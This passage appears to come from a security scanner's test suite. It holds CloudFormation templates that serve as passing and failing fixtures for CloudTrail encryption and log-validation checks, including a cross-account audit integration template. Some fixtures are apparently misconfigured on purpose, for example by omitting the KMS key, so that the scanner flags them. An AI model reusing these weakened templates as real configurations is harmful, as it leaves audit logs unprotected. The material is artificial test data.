TopicPolicy: \n      Type: AWS::SNS::TopicPolicy\n      Properties: \n        Topics: \n          - Ref: \"Topic\"\n        PolicyDocument: \n          Version: \"2012-10-17\"\n          Statement: \n            - \n              Sid: \"AWSCloudTrailSNSPolicy\"\n              Effect: \"Allow\"\n              Principal: \n                Service: \"cloudtrail.amazonaws.com\"\n              Resource: \"*\"\n              Action: \"SNS:Publish\"\n    myTrail: \n      DependsOn: \n        - BucketPolicy\n        - TopicPolicy\n      Type: AWS::CloudTrail::Trail\n      Properties: \n        S3BucketName: \n          Ref: S3Bucket\n        EnableLogFileValidation: True\n        #EnableLogFileValidation: False\n        #KMSKeyId: alias/MyAliasName\n        SnsTopicName: \n          Fn::GetAtt: \n            - Topic\n            - TopicName\n        IsLogging: true\n        IsMultiRegionTrail: true\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_CloudtrailEncryption/CloudTrailEncryption-PASSED.json",
    "content": "{\n  \"AWSTemplateFormatVersion\": \"2010-09-09\",\n  \"Description\": \"acme AWS CloudTrail and Config Security Audit Integration\",\n  \"Mappings\": {\n    \"acmeEnvironment\": {\n      \"env\": {\n        \"organizationID\": \"123456789\",\n        \"SnsNameForConfirmCustomerDeployment\": \"sns_name\"\n      }\n    }\n  },\n  \"Metadata\": {\n    \"AWS::CloudFormation::Interface\": {\n      \"ParameterGroups\": [\n        {\n          \"Label\": {\n            \"default\": \"Required Parameters\"\n          },\n          \"Parameters\": [\n            \"CustomerName\",\n            \"ResourceNamePrefix\",\n            \"ExternalID\",\n            \"LogFilesExpiration\",\n            \"CreateTrail\"\n          ]\n        },\n        {\n          \"Label\": {\n            \"default\": \"New Trail Options\"\n          },\n          \"Parameters\": [\n            \"NewTrailLogFilePrefix\"\n          ]\n        },\n        {\n          \"Label\": {\n            \"default\": \"Existing Trail Setup\"\n          },\n          \"Parameters\": [\n            \"ExistingTrailBucketName\",\n            \"ExistingTrailTopicArn\",\n            \"SecurityAccountId\"\n          ]\n        }\n      ],\n      \"ParameterLabels\": {\n        \"ResourceNamePrefix\": {\n          \"default\": \"Resource name prefix\"\n        },\n        \"CustomerName\": {\n          \"default\": \"Customer name\"\n        },\n        \"ExternalID\": {\n          \"default\": \"ExternalID\"\n        },\n        \"CreateTrail\": {\n          \"default\": \"Create new trail?\"\n        },\n        \"NewTrailLogFilePrefix\": {\n          \"default\": \"Log file prefix\"\n        },\n        \"ExistingTrailBucketName\": {\n          \"default\": \"Bucket name\"\n        },\n        \"ExistingTrailTopicArn\": {\n          \"default\": \"Topic ARN\"\n        },\n        \"LogFilesExpiration\": {\n          \"default\": \"LifecycleConfigurationExpirationInDays\"\n        }\n      }\n    }\n  },\n  \"Parameters\": {\n    \"ResourceNamePrefix\": {\n      \"Description\": \"Names of resources created by the stack will be prefixed with this value to ensure uniqueness.\",\n      \"Type\": \"String\",\n      \"Default\": \"acme\",\n      \"MinLength\": \"1\",\n      \"MaxLength\": \"32\",\n      \"AllowedPattern\": \"^[a-zA-Z0-9]+(?:-[a-zA-Z0-9]+)*$\",\n      \"ConstraintDescription\": \"Invalid resource name prefix value.  Must match pattern ^[a-zA-Z0-9]+(?:-[a-zA-Z0-9]+)*$\"\n    },\n    \"CustomerName\": {\n      \"Description\": \"Customer name as defined on acme Signup\",\n      \"Type\": \"String\",\n      \"MinLength\": \"2\",\n      \"MaxLength\": \"1224\",\n      \"AllowedPattern\": \"[a-zA-Z0-9]*\",\n      \"ConstraintDescription\": \"must contain only alphanumeric characters.\"\n    },\n    \"ExternalID\": {\n      \"Description\": \"The cross-account access role created by the stack will use this value for its ExternalID.\",\n      \"Type\": \"String\",\n      \"MinLength\": \"2\",\n      \"MaxLength\": \"1224\",\n      \"AllowedPattern\": \"[\\\\w+=,.@:\\\\/-]*\",\n      \"ConstraintDescription\": \"Invalid ExternalID value.  Must match pattern [\\\\w+=,.@:\\\\/-]*\"\n    },\n    \"CreateTrail\": {\n      \"Description\": \"You can have a new multi-region CloudTrail trail be created (along with a new S3 bucket and SNS topic), or use your existing trail setup.\",\n      \"Type\": \"String\",\n      \"AllowedValues\": [\n        \"Yes\",\n        \"No\"\n      ],\n      \"Default\": \"Yes\"\n    },\n    \"NewTrailLogFilePrefix\": {\n      \"Description\": \"If you want the new trail to prefix its log file names, provide the prefix to use.  Otherwise, leave it blank.\",\n      \"Default\": \"\",\n      \"Type\": \"String\",\n      \"MaxLength\": \"64\",\n      \"AllowedPattern\": \"[a-zA-Z0-9-_.!()* ]*\",\n      \"ConstraintDescription\": \"Invalid log file prefix.  Must match pattern [a-zA-Z0-9-_.!()* ]*\"\n    },\n    \"ExistingTrailBucketName\": {\n      \"Description\": \"Provide the name of the S3 bucket for your existing trail setup.  The bucket must be owned by the current account.\",\n      \"Default\": \"\",\n      \"Type\": \"String\",\n      \"MaxLength\": \"128\"\n    },\n    \"ExistingTrailTopicArn\": {\n      \"Description\": \"Provide the ARN of the SNS topic for your existing trail setup. The SNS must be subscribe to the existing bucket\",\n      \"Default\": \"\",\n      \"Type\": \"String\",\n      \"MaxLength\": \"256\"\n    },\n    \"SecurityAccountId\": {\n      \"Description\": \"In case of an existing CloudTrail trail saving logs to another account, please provide the account ID for that account\",\n      \"Default\": \"\",\n      \"Type\": \"String\",\n      \"AllowedPattern\": \"\\\\d{12}|\\\\d{0}\",\n      \"MaxLength\": \"12\"\n    },\n    \"LogFilesExpiration\": {\n      \"Description\": \"Number of days log files will be saved for. After this many days, log files will be deleted\",\n      \"Type\": \"Number\",\n      \"Default\": \"30\",\n      \"MinValue\": \"7\",\n      \"MaxValue\": \"365\"\n    }\n  },\n  \"Conditions\": {\n    \"CreateNewTrail\": {\n      \"Fn::Equals\": [\n        {\n          \"Ref\": \"CreateTrail\"\n        },\n        \"Yes\"\n      ]\n    },\n    \"UseExistingTrail\": {\n      \"Fn::Not\": [\n        {\n          \"Fn::Equals\": [\n            {\n              \"Ref\": \"CreateTrail\"\n            },\n            \"Yes\"\n          ]\n        }\n      ]\n    },\n    \"NewTrailUsesLogFilePrefix\": {\n      \"Fn::Not\": [\n        {\n          \"Fn::Equals\": [\n            {\n              \"Ref\": \"NewTrailLogFilePrefix\"\n            },\n            \"\"\n          ]\n        }\n      ]\n    },\n    \"SecurityAccountExists\": {\n      \"Fn::Equals\": [\n        {\n          \"Ref\": \"SecurityAccountId\"\n        },\n        \"\"\n      ]\n    }\n  },\n  \"Resources\": {\n    \"acmeCWSBucket\": {\n      \"Condition\": \"CreateNewTrail\",\n      \"Type\": \"AWS::S3::Bucket\",\n      \"DeletionPolicy\": \"Retain\",\n      \"Properties\": {\n        \"BucketName\": {\n          \"Fn::Join\": [\n            \"\",\n            [\n              {\n                \"Ref\": \"ResourceNamePrefix\"\n              },\n              \"-acmecws-\",\n              {\n                \"Ref\": \"AWS::AccountId\"\n              }\n            ]\n          ]\n        },\n        \"VersioningConfiguration\": {\n          \"Status\": \"Enabled\"\n        },\n        \"LifecycleConfiguration\": {\n          \"Rules\": [\n            {\n              \"Id\": \"Delete old log files\",\n              \"Status\": \"Enabled\",\n              \"ExpirationInDays\": {\n                \"Ref\": \"LogFilesExpiration\"\n              },\n              \"NoncurrentVersionExpirationInDays\": {\n                \"Ref\": \"LogFilesExpiration\"\n              }\n            }\n          ]\n        },\n        \"BucketEncryption\": {\n          \"ServerSideEncryptionConfiguration\": [\n            {\n              \"ServerSideEncryptionByDefault\": {\n                \"Fn::If\": [\n                  \"CreateNewTrail\",\n                  {\n                    \"KMSMasterKeyID\": {\n                      \"Ref\": \"CloudtrailKMSKeyAlias\"\n                    },\n                    \"SSEAlgorithm\": \"aws:kms\"\n                  },\n                  {\n                    \"SSEAlgorithm\": \"AES256\"\n                  }\n                ]\n              }\n            }\n          ]\n        }\n      }\n    },\n    \"acmeCWSBucketPolicy\": {\n      \"Condition\": \"CreateNewTrail\",\n      \"Type\": \"AWS::S3::BucketPolicy\",\n      \"Properties\": {\n        \"Bucket\": {\n          \"Ref\": \"acmeCWSBucket\"\n        },\n        \"PolicyDocument\": {\n          \"Version\": \"2012-10-17\",\n          \"Id\": \"acmeCWSBucketPolicy\",\n          \"Statement\": [\n            {\n              \"Sid\": \"CloudTrailAclCheck\",\n              \"Action\": \"s3:GetBucketAcl\",\n              \"Effect\": \"Allow\",\n              \"Resource\": {\n                \"Fn::Join\": [\n                  \"\",\n                  [\n                    \"arn:aws:s3:::\",\n                    {\n                      \"Ref\": \"acmeCWSBucket\"\n                    }\n                  ]\n                ]\n              },\n              \"Principal\": {\n                \"Service\": \"cloudtrail.amazonaws.com\"\n              }\n            },\n            {\n              \"Sid\": \"CloudTrailWrite\",\n              \"Action\": \"s3:PutObject\",\n              \"Effect\": \"Allow\",\n              \"Resource\": {\n                \"Fn::Join\": [\n                  \"\",\n                  [\n                    \"arn:aws:s3:::\",\n                    {\n                      \"Ref\": \"acmeCWSBucket\"\n                    },\n                    {\n                      \"Fn::If\": [\n                        \"NewTrailUsesLogFilePrefix\",\n                        {\n                          \"Fn::Join\": [\n                            \"\",\n                            [\n                              \"/\",\n                              {\n                                \"Ref\": \"NewTrailLogFilePrefix\"\n                              }\n                            ]\n                          ]\n                        },\n                        \"\"\n                      ]\n                    },\n                    \"/AWSLogs/\",\n                    {\n                      \"Ref\": \"AWS::AccountId\"\n                    },\n                    \"/*\"\n                  ]\n                ]\n              },\n              \"Principal\": {\n                \"Service\": \"cloudtrail.amazonaws.com\"\n              },\n              \"Condition\": {\n                \"StringEquals\": {\n                  \"s3:x-amz-acl\": \"bucket-owner-full-control\"\n                },\n                \"Bool\": {\n                  \"aws:SecureTransport\": \"true\"\n                }\n              }\n            },\n            {\n              \"Sid\": \"DenyUnsecureTransport\",\n              \"Action\": \"s3:*\",\n              \"Effect\": \"Deny\",\n              \"Resource\": [\n                {\n                  \"Fn::Join\": [\n                    \"\",\n                    [\n                      \"arn:aws:s3:::\",\n                      {\n                        \"Ref\": \"acmeCWSBucket\"\n                      },\n                      \"/*\"\n                    ]\n                  ]\n                },\n                {\n                  \"Fn::Join\": [\n                    \"\",\n                    [\n                      \"arn:aws:s3:::\",\n                      {\n                        \"Ref\": \"acmeCWSBucket\"\n                      }\n                    ]\n                  ]\n                }\n              ],\n              \"Principal\": \"*\",\n              \"Condition\": {\n                \"Bool\": {\n                  \"aws:SecureTransport\": \"false\"\n                }\n              }\n            }\n          ]\n        }\n      }\n    },\n    \"acmeCWSTopic\": {\n      \"Condition\": \"CreateNewTrail\",\n      \"Type\": \"AWS::SNS::Topic\",\n      \"Properties\": {\n        \"TopicName\": {\n          \"Fn::Join\": [\n            \"\",\n            [\n              {\n                \"Ref\": \"ResourceNamePrefix\"\n              },\n              \"-acmecws\"\n            ]\n          ]\n        }\n      }\n    },\n    \"acmeCWSTopicPolicy\": {\n      \"Condition\": \"CreateNewTrail\",\n      \"Type\": \"AWS::SNS::TopicPolicy\",\n      \"Properties\": {\n        \"PolicyDocument\": {\n          \"Version\": \"2012-10-17\",\n          \"Statement\": [\n            {\n              \"Sid\": \"CloudTrailPublish\",\n              \"Action\": \"SNS:Publish\",\n              \"Effect\": \"Allow\",\n              \"Principal\": {\n                \"Service\": \"cloudtrail.amazonaws.com\"\n              },\n              \"Resource\": \"*\"\n            }\n          ]\n        },\n        \"Topics\": [\n          {\n            \"Ref\": \"acmeCWSTopic\"\n          }\n        ]\n      }\n    },\n    \"acmeCWSTrail\": {\n      \"Condition\": \"CreateNewTrail\",\n      \"Type\": \"AWS::CloudTrail::Trail\",\n      \"DependsOn\": [\n        \"acmeCWSTopicPolicy\",\n        \"acmeCWSBucketPolicy\"\n      ],\n      \"Properties\": {\n        \"TrailName\": {\n          \"Fn::Join\": [\n            \"\",\n            [\n              {\n                \"Ref\": \"ResourceNamePrefix\"\n              },\n              \"-acmecws\"\n            ]\n          ]\n        },\n        \"S3BucketName\": {\n          \"Ref\": \"acmeCWSBucket\"\n        },\n        \"S3KeyPrefix\": {\n          \"Fn::If\": [\n            \"NewTrailUsesLogFilePrefix\",\n            {\n              \"Ref\": \"NewTrailLogFilePrefix\"\n            },\n            {\n              \"Ref\": \"AWS::NoValue\"\n            }\n          ]\n        },\n        \"SnsTopicName\": {\n          \"Fn::GetAtt\": [\n            \"acmeCWSTopic\",\n            \"TopicName\"\n          ]\n        },\n        \"KMSKeyId\": {\n          \"Ref\": \"CloudtrailKMSKeyAlias\"\n        },\n        \"EnableLogFileValidation\": true,\n        \"IncludeGlobalServiceEvents\": true,\n        \"IsMultiRegionTrail\": true,\n        \"IsLogging\": true\n      }\n    },\n    \"CloudtrailKMSKey\": {\n      \"Condition\": \"CreateNewTrail\",\n      \"Type\": \"AWS::KMS::Key\",\n      \"Properties\": {\n        \"Description\": \"KMS for Cloudtrail, shared with Lacework and acme\",\n        \"Enabled\": true,\n        \"EnableKeyRotation\": true,\n        \"KeyPolicy\": {\n          \"Version\": \"2012-10-17\",\n          \"Id\": \"key-default-1\",\n          \"Statement\": [\n            {\n              \"Sid\": \"Enable owner account permissions\",\n              \"Effect\": \"Allow\",\n              \"Principal\": {\n                \"AWS\": {\n                  \"Fn::Join\": [\n                    \"\",\n                    [\n                      \"arn:aws:iam::\",\n                      {\n                        \"Ref\": \"AWS::AccountId\"\n                      },\n                      \":root\"\n                    ]\n                  ]\n                }\n              },\n              \"Action\": \"kms:*\",\n              \"Resource\": \"*\"\n            },\n            {\n              \"Sid\": \"Allow CloudTrail to encrypt logs\",\n              \"Effect\": \"Allow\",\n              \"Principal\": {\n                \"Service\": \"cloudtrail.amazonaws.com\"\n              },\n              \"Action\": [\n                \"kms:GenerateDataKey*\",\n                \"kms:ReEncryptFrom\"\n              ],\n              \"Resource\": \"*\",\n              \"Condition\": {\n                \"StringLike\": {\n                  \"kms:EncryptionContext:aws:cloudtrail:arn\": {\n                    \"Fn::Join\": [\n                      \"\",\n                      [\n                        \"arn:aws:cloudtrail:*:\",\n                        {\n                          \"Ref\": \"AWS::AccountId\"\n                        },\n                        \":trail/*\"\n                      ]\n                    ]\n                  }\n                }\n              }\n            },\n            {\n              \"Sid\": \"Allow CloudTrail to describe key\",\n              \"Effect\": \"Allow\",\n              \"Principal\": {\n                \"Service\": \"cloudtrail.amazonaws.com\"\n              },\n              \"Action\": \"kms:DescribeKey\",\n              \"Resource\": \"*\"\n            },\n            {\n              \"Sid\": \"Enable acme & Lacework log decryption\",\n              \"Effect\": \"Allow\",\n              \"Principal\": {\n                \"AWS\": \"*\"\n              },\n              \"Action\": [\n                \"kms:Decrypt\"\n              ],\n              \"Resource\": \"*\",\n              \"Condition\": {\n                \"StringEquals\": {\n                  \"kms:CallerAccount\": {\n                    \"Ref\": \"AWS::AccountId\"\n                  }\n                },\n                \"StringLike\": {\n                  \"kms:EncryptionContext:aws:cloudtrail:arn\": {\n                    \"Fn::Join\": [\n                      \"\",\n                      [\n                        \"arn:aws:cloudtrail:*:\",\n                        {\n                          \"Ref\": \"AWS::AccountId\"\n                        },\n                        \":trail/*\"\n                      ]\n                    ]\n                  }\n                }\n              }\n            }\n          ]\n        },\n        \"KeyUsage\": \"ENCRYPT_DECRYPT\"\n      },\n      \"Metadata\": {\n        \"AWS::CloudFormation::Designer\": {\n          \"id\": \"787370fe-e579-465f-98c5-f1c84f79a810\"\n        }\n      }\n    },\n    \"CloudtrailKMSKeyAlias\": {\n      \"Condition\": \"CreateNewTrail\",\n      \"Type\": \"AWS::KMS::Alias\",\n      \"Properties\": {\n        \"AliasName\": {\n          \"Fn::Join\": [\n            \"\",\n            [\n              \"alias/\",\n              {\n                \"Ref\": \"ResourceNamePrefix\"\n              },\n              \"-CloudtrailKey\"\n            ]\n          ]\n        },\n        \"TargetKeyId\": {\n          \"Ref\": \"CloudtrailKMSKey\"\n        }\n      }\n    },\n    \"acmeCWSQueue\": {\n      \"Type\": \"AWS::SQS::Queue\",\n      \"Properties\": {\n        \"QueueName\": {\n          \"Fn::Join\": [\n            \"\",\n            [\n              {\n                \"Ref\": \"ResourceNamePrefix\"\n              },\n              \"-acmecws\"\n            ]\n          ]\n        },\n        \"VisibilityTimeout\": 43200\n      }\n    },\n    \"acmeCWSQueuePolicy\": {\n      \"Type\": \"AWS::SQS::QueuePolicy\",\n      \"Properties\": {\n        \"PolicyDocument\": {\n          \"Version\": \"2012-10-17\",\n          \"Statement\": [\n            {\n              \"Sid\": \"AwsSnsAccess\",\n              \"Effect\": \"Allow\",\n              \"Principal\": \"*\",\n              \"Action\": [\n                \"sqs:SendMessage\"\n              ],\n              \"Resource\": \"*\",\n              \"Condition\": {\n                \"ArnEquals\": {\n                  \"aws:SourceArn\": {\n                    \"Fn::If\": [\n                      \"CreateNewTrail\",\n                      {\n                        \"Ref\": \"acmeCWSTopic\"\n                      },\n                      {\n                        \"Ref\": \"ExistingTrailTopicArn\"\n                      }\n                    ]\n                  }\n                }\n              }\n            },\n            {\n              \"Sid\": \"acmeSqsAccess\",\n              \"Effect\": \"Allow\",\n              \"Principal\": {\n                \"AWS\": {\n                  \"Fn::Join\": [\n                    \"\",\n                    [\n                      \"arn:aws:iam::\",\n                      {\n                        \"Fn::FindInMap\": [\n                          \"acmeEnvironment\",\n                          \"env\",\n                          \"organizationID\"\n                        ]\n                      },\n                      \":root\"\n                    ]\n                  ]\n                }\n              },\n              \"Action\": [\n                \"sqs:ReceiveMessage\",\n                \"sqs:DeleteMessage\",\n                \"sqs:GetQueueAttributes\",\n                \"sqs:GetQueueUrl\",\n                \"sqs:ListDeadLetterSourceQueues\",\n                \"sqs:ChangeMessageVisibility\"\n              ],\n              \"Resource\": \"*\"\n            }\n          ]\n        },\n        \"Queues\": [\n          {\n            \"Ref\": \"acmeCWSQueue\"\n          }\n        ]\n      }\n    },\n    \"acmeCWSSubscription\": {\n      \"Type\": \"AWS::SNS::Subscription\",\n      \"Properties\": {\n        \"Endpoint\": {\n          \"Fn::GetAtt\": [\n            \"acmeCWSQueue\",\n            \"Arn\"\n          ]\n        },\n        \"Protocol\": \"sqs\",\n        \"TopicArn\": {\n          \"Fn::If\": [\n            \"CreateNewTrail\",\n            {\n              \"Ref\": \"acmeCWSTopic\"\n            },\n            {\n              \"Ref\": \"ExistingTrailTopicArn\"\n            }\n          ]\n        }\n      }\n    },\n    \"acmeCWSSACrossAccountAccessRole\": {\n      \"Type\": \"AWS::IAM::Role\",\n      \"Properties\": {\n        \"RoleName\": {\n          \"Fn::Join\": [\n            \"\",\n            [\n              {\n                \"Ref\": \"ResourceNamePrefix\"\n              },\n              \"-acmecwssarole\"\n            ]\n          ]\n        },\n        \"AssumeRolePolicyDocument\": {\n          \"Version\": \"2012-10-17\",\n          \"Statement\": [\n            {\n              \"Action\": \"sts:AssumeRole\",\n              \"Effect\": \"Allow\",\n              \"Principal\": {\n                \"AWS\": {\n                  \"Fn::Join\": [\n                    \"\",\n                    [\n                      \"arn:aws:iam::\",\n                      {\n                        \"Fn::FindInMap\": [\n                          \"acmeEnvironment\",\n                          \"env\",\n                          \"organizationID\"\n                        ]\n                      },\n                      \":root\"\n                    ]\n                  ]\n                }\n              },\n              \"Condition\": {\n                \"StringEquals\": {\n                  \"sts:ExternalId\": {\n                    \"Ref\": \"ExternalID\"\n                  }\n                }\n              }\n            }\n          ]\n        },\n        \"ManagedPolicyArns\": [\n          \"arn:aws:iam::aws:policy/SecurityAudit\",\n          \"arn:aws:iam::aws:policy/AWSCloudFormationReadOnlyAccess\"\n        ],\n        \"Policies\": [\n          {\n            \"PolicyName\": \"acmeCWSPolicy\",\n            \"PolicyDocument\": {\n              \"Version\": \"2012-10-17\",\n              \"Statement\": [\n                {\n                  \"Sid\": \"ConsumeNotifications\",\n                  \"Action\": [\n                    \"sqs:GetQueueAttributes\",\n                    \"sqs:GetQueueUrl\",\n                    \"sqs:DeleteMessage\",\n                    \"sqs:ReceiveMessage\"\n                  ],\n                  \"Effect\": \"Allow\",\n                  \"Resource\": [\n                    {\n                      \"Fn::GetAtt\": [\n                        \"acmeCWSQueue\",\n                        \"Arn\"\n                      ]\n                    }\n                  ]\n                },\n                {\n                  \"Sid\": \"ListLogFiles\",\n                  \"Action\": [\n                    \"s3:ListBucket\"\n                  ],\n                  \"Effect\": \"Allow\",\n                  \"Resource\": [\n                    {\n                      \"Fn::Join\": [\n                        \"\",\n                        [\n                          \"arn:aws:s3:::\",\n                          {\n                            \"Fn::If\": [\n                              \"UseExistingTrail\",\n                              {\n                                \"Ref\": \"ExistingTrailBucketName\"\n                              },\n                              {\n                                \"Ref\": \"acmeCWSBucket\"\n                              }\n                            ]\n                          },\n                          {\n                            \"Fn::If\": [\n                              \"NewTrailUsesLogFilePrefix\",\n                              \"/\",\n                              \"\"\n                            ]\n                          },\n                          {\n                            \"Fn::If\": [\n                              \"NewTrailUsesLogFilePrefix\",\n                              {\n                                \"Ref\": \"NewTrailLogFilePrefix\"\n                              },\n                              \"\"\n                            ]\n                          },\n                          \"/AWSLogs/*\"\n                        ]\n                      ]\n                    }\n                  ],\n                  \"Condition\": {\n                    \"StringLike\": {\n                      \"s3:prefix\": [\n                        {\n                          \"Fn::Join\": [\n                            \"\",\n                            [\n                              {\n                                \"Fn::If\": [\n                                  \"NewTrailUsesLogFilePrefix\",\n                                  {\n                                    \"Ref\": \"NewTrailLogFilePrefix\"\n                                  },\n                                  \"\"\n                                ]\n                              },\n                              {\n                                \"Fn::If\": [\n                                  \"NewTrailUsesLogFilePrefix\",\n                                  \"/\",\n                                  \"\"\n                                ]\n                              },\n                              \"AWSLogs/*\"\n                            ]\n                          ]\n                        }\n                      ]\n                    }\n                  }\n                },\n                {\n                  \"Sid\": \"ReadLogFiles\",\n                  \"Action\": [\n                    \"s3:Get*\"\n                  ],\n                  \"Effect\": \"Allow\",\n                  \"Resource\": [\n                    {\n                      \"Fn::Join\": [\n                        \"\",\n                        [\n                          \"arn:aws:s3:::\",\n                          {\n                            \"Fn::If\": [\n                              \"UseExistingTrail\",\n                              {\n                                \"Ref\": \"ExistingTrailBucketName\"\n                              },\n                              {\n                                \"Ref\": \"acmeCWSBucket\"\n                              }\n                            ]\n                          },\n                          {\n                            \"Fn::If\": [\n                              \"NewTrailUsesLogFilePrefix\",\n                              \"/\",\n                              \"\"\n                            ]\n                          },\n                          {\n                            \"Fn::If\": [\n                              \"NewTrailUsesLogFilePrefix\",\n                              {\n                                \"Ref\": \"NewTrailLogFilePrefix\"\n                              },\n                              \"\"\n                            ]\n                          },\n                          \"/AWSLogs/*\"\n                        ]\n                      ]\n                    }\n                  ]\n                },\n                {\n                  \"Sid\": \"GetAccountAlias\",\n                  \"Action\": [\n                    \"iam:ListAccountAliases\"\n                  ],\n                  \"Effect\": \"Allow\",\n                  \"Resource\": \"*\"\n                },\n                {\n                  \"Sid\": \"GetMetricDataAccess\",\n                  \"Action\": [\n                    \"cloudwatch:GetMetricData\"\n                  ],\n                  \"Effect\": \"Allow\",\n                  \"Resource\": \"*\"\n                }\n              ]\n            }\n          }\n        ]\n      }\n    },\n    \"acmeSnsCustomResource\": {\n      \"Type\": \"Custom::acmeSnsCustomResource\",\n      \"DependsOn\": [\n        \"acmeCWSQueuePolicy\"\n      ],\n      \"Properties\": {\n        \"Type\": \"AWS_CT_CFG\",\n        \"ServiceToken\": {\n          \"Fn::Join\": [\n            \"\",\n            [\n              \"arn:aws:sns:\",\n              {\n                \"Ref\": \"AWS::Region\"\n              },\n              \":\",\n              {\n                \"Fn::FindInMap\": [\n                  \"acmeEnvironment\",\n                  \"env\",\n                  \"organizationID\"\n                ]\n              },\n              \":\",\n              {\n                \"Fn::FindInMap\": [\n                  \"acmeEnvironment\",\n                  \"env\",\n                  \"SnsNameForConfirmCustomerDeployment\"\n                ]\n              }\n            ]\n          ]\n        },\n        \"IntegrationName\": {\n          \"Ref\": \"AWS::StackName\"\n        },\n        \"CrossAccountRoleArn\": {\n          \"Fn::GetAtt\": [\n            \"acmeCWSSACrossAccountAccessRole\",\n            \"Arn\"\n          ]\n        },\n        \"ExternalId\": {\n          \"Ref\": \"ExternalID\"\n        },\n        \"SqsQueueUrl\": {\n          \"Ref\": \"acmeCWSQueue\"\n        },\n        \"CustomerName\": {\n          \"Ref\": \"CustomerName\"\n        },\n        \"DeploymentRegion\": {\n          \"Ref\": \"AWS::Region\"\n        },\n        \"ActionType\": \"CustomerSignUp\",\n        \"Account\": \"acme\",\n        \"TemplateVersion\": \"1\",\n        \"AWSAccountId\": {\n          \"Ref\": \"AWS::AccountId\"\n        },\n        \"SecurityAccountId\": {\n          \"Fn::If\": [\n            \"SecurityAccountExists\",\n            {\n              \"Ref\": \"AWS::AccountId\"\n            },\n            {\n              \"Ref\": \"SecurityAccountId\"\n            }\n          ]\n        }\n      }\n    }\n  },\n  \"Outputs\": {\n    \"RoleARN\": {\n      \"Description\": \"Cross-account access role ARN to share with acme for CloudTrail integration\",\n      \"Value\": {\n        \"Fn::GetAtt\": [\n          \"acmeCWSSACrossAccountAccessRole\",\n          \"Arn\"\n        ]\n      }\n    },\n    \"CustomerName\": {\n      \"Description\": \"Customer name as defined on acme Signup\",\n      \"Value\": {\n        \"Ref\": \"CustomerName\"\n      }\n    },\n    \"SQSQueueURL\": {\n      \"Description\": \"SQS queue URL to share with acme for CloudTrail Integration\",\n      \"Value\": {\n        \"Ref\": \"acmeCWSQueue\"\n      }\n    },\n    \"SQSQueueARN\": {\n      \"Description\": \"SQS queue ARN to share with acme for CloudTrail Integration\",\n      \"Value\": {\n        \"Fn::GetAtt\": [\n          \"acmeCWSQueue\",\n          \"Arn\"\n        ]\n      }\n    },\n    \"DeploymentRegion\": {\n      \"Description\": \"The region that the customer installed this cloud-formation template\",\n      \"Value\": {\n        \"Ref\": \"AWS::Region\"\n      }\n    },\n    \"TemplateVersion\": {\n      \"Description\": \"acme.io template version\",\n      \"Value\": \"1\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_CloudtrailEncryption/CloudTrailEncryption-PASSED.yaml",
    "content": "  AWSTemplateFormatVersion: \"2010-09-09\"\n  Parameters: \n    OperatorEmail: \n      Description: \"Email address to notify when new logs are published.\"\n      Type: String\n  Resources: \n    S3Bucket: \n      DeletionPolicy: Retain\n      Type: AWS::S3::Bucket\n      Properties: {}\n    BucketPolicy: \n      Type: AWS::S3::BucketPolicy\n      Properties: \n        Bucket: \n          Ref: S3Bucket\n        PolicyDocument: \n          Version: \"2012-10-17\"\n          Statement: \n            - \n              Sid: \"AWSCloudTrailAclCheck\"\n              Effect: \"Allow\"\n              Principal: \n                Service: \"cloudtrail.amazonaws.com\"\n              Action: \"s3:GetBucketAcl\"\n              Resource: \n                !Sub |-\n                  arn:aws:s3:::${S3Bucket}\n            - \n              Sid: \"AWSCloudTrailWrite\"\n              Effect: \"Allow\"\n              Principal: \n                Service: \"cloudtrail.amazonaws.com\"\n              Action: \"s3:PutObject\"\n              Resource:\n                !Sub |-\n                  arn:aws:s3:::${S3Bucket}/AWSLogs/${AWS::AccountId}/*\n              Condition: \n                StringEquals:\n                  s3:x-amz-acl: \"bucket-owner-full-control\"\n    Topic: \n      Type: AWS::SNS::Topic\n      Properties: \n        Subscription: \n          - \n            Endpoint: \n              Ref: OperatorEmail\n            Protocol: email\n    TopicPolicy: \n      Type: AWS::SNS::TopicPolicy\n      Properties: \n        Topics: \n          - Ref: \"Topic\"\n        PolicyDocument: \n          Version: \"2012-10-17\"\n          Statement: \n            - \n              Sid: \"AWSCloudTrailSNSPolicy\"\n              Effect: \"Allow\"\n              Principal: \n                Service: \"cloudtrail.amazonaws.com\"\n              Resource: \"*\"\n              Action: \"SNS:Publish\"\n    myTrail: \n      DependsOn: \n        - BucketPolicy\n        - TopicPolicy\n      Type: AWS::CloudTrail::Trail\n      Properties: \n        S3BucketName: \n          Ref: S3Bucket\n        EnableLogFileValidation: True\n        #EnableLogFileValidation: False\n        KMSKeyId: alias/MyAliasName\n        SnsTopicName: \n          Fn::GetAtt: \n            - Topic\n            - TopicName\n        IsLogging: true\n        IsMultiRegionTrail: true\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_CloudtrailLogValidation/CloudTrailLogValidation-FAILED.yaml",
    "content": "  AWSTemplateFormatVersion: \"2010-09-09\"\n  Parameters: \n    OperatorEmail: \n      Description: \"Email address to notify when new logs are published.\"\n      Type: String\n  Resources: \n    S3Bucket: \n      DeletionPolicy: Retain\n      Type: AWS::S3::Bucket\n      Properties: {}\n    BucketPolicy: \n      Type: AWS::S3::BucketPolicy\n      Properties: \n        Bucket: \n          Ref: S3Bucket\n        PolicyDocument: \n          Version: \"2012-10-17\"\n          Statement: \n            - \n              Sid: \"AWSCloudTrailAclCheck\"\n              Effect: \"Allow\"\n              Principal: \n                Service: \"cloudtrail.amazonaws.com\"\n              Action: \"s3:GetBucketAcl\"\n              Resource: \n                !Sub |-\n                  arn:aws:s3:::${S3Bucket}\n            - \n              Sid: \"AWSCloudTrailWrite\"\n              Effect: \"Allow\"\n              Principal: \n                Service: \"cloudtrail.amazonaws.com\"\n              Action: \"s3:PutObject\"\n              Resource:\n                !Sub |-\n                  arn:aws:s3:::${S3Bucket}/AWSLogs/${AWS::AccountId}/*\n              Condition: \n                StringEquals:\n                  s3:x-amz-acl: \"bucket-owner-full-control\"\n    Topic: \n      Type: AWS::SNS::Topic\n      Properties: \n        Subscription: \n          - \n            Endpoint: \n              Ref: OperatorEmail\n            Protocol: email\n    TopicPolicy: \n      Type: AWS::SNS::TopicPolicy\n      Properties: \n        Topics: \n          - Ref: \"Topic\"\n        PolicyDocument: \n          Version: \"2012-10-17\"\n          Statement: \n            - \n              Sid: \"AWSCloudTrailSNSPolicy\"\n              Effect: \"Allow\"\n              Principal: \n                Service: \"cloudtrail.amazonaws.com\"\n              